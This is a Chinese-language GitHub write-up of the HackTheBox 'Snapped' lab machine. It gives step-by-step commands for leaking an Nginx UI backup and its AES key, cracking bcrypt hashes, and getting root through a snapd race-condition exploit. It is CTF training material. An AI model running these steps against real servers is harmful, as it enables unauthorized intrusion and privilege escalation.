karimelsheikh1/HTB-Snapped-Writeup

GitHub: karimelsheikh1/HTB-Snapped-Writeup

一份关于 HackTheBox Snapped 靶机的详细渗透测试教程,演示了如何利用 Nginx UI 备份泄露和 snapd 竞争条件漏洞实现完整系统攻陷。

Stars: 0 | Forks: 0

# HTB-Snapped-Writeup HTB Snapped — 困难 Linux 靶机 Writeup。利用 CVE-2026-27944(Nginx UI 未授权备份泄露)结合 CVE-2026-3888(snapd 竞争条件本地提权)实现完整系统攻陷。 # HTB: Snapped — Writeup **难度:** 困难 **操作系统:** Linux (Ubuntu 24.04) **发布日期:** 2026年3月23日 **CVE:** CVE-2026-27944, CVE-2026-3888 ## 概要 Snapped 是一台困难级别的 Linux 靶机,在 nginx 反向代理下托管着一个静态网站,并带有 Nginx UI 管理面板。初始访问通过利用 CVE-2026-27944 获得——这是一个未授权备份接口,会泄露 AES 加密密钥。在解密备份文件并破解 SQLite 数据库中的 bcrypt 哈希后,即可获取 SSH 访问权限。通过 CVE-2026-3888 可以将权限提升至 root,这是 snapd 中 snap-confine 和 systemd-tmpfiles 之间的一个竞争条件漏洞。 ## 信息收集 ### Nmap ``` nmap -sCV ``` **开放端口:** 22 (SSH), 80 (HTTP) ### 子域名枚举 ``` ffuf -u http:// -H 'Host: FUZZ.snapped.htb' \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac ``` **发现:** `admin.snapped.htb` ``` echo " snapped.htb admin.snapped.htb" | sudo tee -a /etc/hosts ``` ## 初始立足点 — CVE-2026-27944 ### 背景 2.3.3 版本之前的 Nginx UI 在未经身份验证的情况下暴露了 `/api/backup` 接口。响应头 `X-Backup-Security` 泄露了 解密备份归档文件所需的 AES-256-CBC 密钥和 IV。 ### 漏洞利用 **步骤 1 — 下载备份文件并提取密钥/IV:** ``` curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 \ | grep -i "X-Backup-Security" KEY="" IV="" ``` **步骤 2 — 转换为十六进制并解密:** ``` KEY_HEX=$(echo "$KEY" | base64 -d | xxd -p -c 256) IV_HEX=$(echo "$IV" | base64 -d | xxd -p -c 256) mkdir backup && cd backup unzip ../backup.zip openssl enc -d -aes-256-cbc \ -K $KEY_HEX -iv $IV_HEX -nopad \ -in nginx-ui.zip -out nginx-ui-decrypted.zip unzip nginx-ui-decrypted.zip ``` **步骤 3 — 从 SQLite 数据库中提取哈希:** ``` strings database.db | grep '\$2a\$' # 找到用户的 bcrypt 哈希: jonathan, admin ``` **步骤 4 — 破解哈希:** ``` hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force # jonathan: ``` **步骤 5 — SSH 连接:** ``` ssh jonathan@snapped.htb cat ~/user.txt ``` ## 权限提升 — CVE-2026-3888 ### 背景 CVE-2026-3888 是影响 Ubuntu 24.04 的 snapd 中的一个本地权限提升漏洞。它利用了两个系统 组件之间的 TOCTOU 竞争条件: - **snap-confine** (SUID root) — 构建 snap 沙箱 - **systemd-tmpfiles** — 定期清理 `/tmp/.snap` 当 systemd-tmpfiles 删除 `/tmp/.snap` 时,攻击者可以 使用恶意内容重新创建它。当 snap-confine 下次初始化 沙箱时,它会以 root 权限 bind-mount(绑定挂载)攻击者控制的目录,从而实现动态链接器劫持。 ### 漏洞利用 **步骤 1 — 验证受影响版本:** ``` snap version # snapd 2.63.1+24.04 — 存在漏洞 (在 2.73 中已修复) ``` **步骤 2 — 在攻击者机器上编译漏洞利用程序:** ``` git clone https://github.com//CVE-2026-3888 gcc -O2 -static -o exploit exploit_suid.c gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c ``` **步骤 3 — 传输至目标机器:** ``` # 攻击机 python3 -m http.server 8080 # 目标 wget http://:8080/exploit -O ~/exploit wget http://:8080/librootshell.so -O ~/librootshell.so chmod +x ~/exploit ``` **步骤 4 — 运行漏洞利用程序:** ``` # Session 1 — 运行 exploit ~/exploit ~/librootshell.so # Session 2 — 当你看到 "Polling..." 时触发清理 rm -rf /tmp/.snap ``` **步骤 5 — Root shell:** ``` /var/snap/firefox/common/bash -p whoami # root cat /root/root.txt ``` ## 使用工具 - nmap - ffuf - curl / openssl - sqlite3 / strings - hashcat - CVE-2026-3888 PoC ## 参考 - [CVE-2026-27944 — Nginx UI 备份泄露](https://nvd.nist.gov/vuln/detail/CVE-2026-27944) - [CVE-2026-3888 — Qualys 研究](https://blog.qualys.com/vulnerabilities-threat-research/2026/03/17/cve-2026-3888-important-snap-flaw-enables-local-privilege-escalation-to-root) - [HTB 官方博客](https://www.hackthebox.com/blog/CVE-2026-27944-CVE-2026-3888)
标签:AES解密, bcrypt, CISA项目, CTI, CVE-2026-27944, CVE-2026-3888, ffuf, HackTheBox, HTB, LPE, Nginx UI, Nmap, Race Condition, snapd, SQLite, SSH, StruQ, Web安全, Web报告查看器, 事件响应, 信息泄露, 初始访问, 协议分析, 备份文件泄露, 威胁模拟, 子域名变形, 子域名枚举, 未授权访问, 本地提权, 权限提升, 漏洞复现, 竞态条件, 系统安全, 网络安全, 蓝队分析, 虚拟驱动器, 隐私保护, 靶机Writeup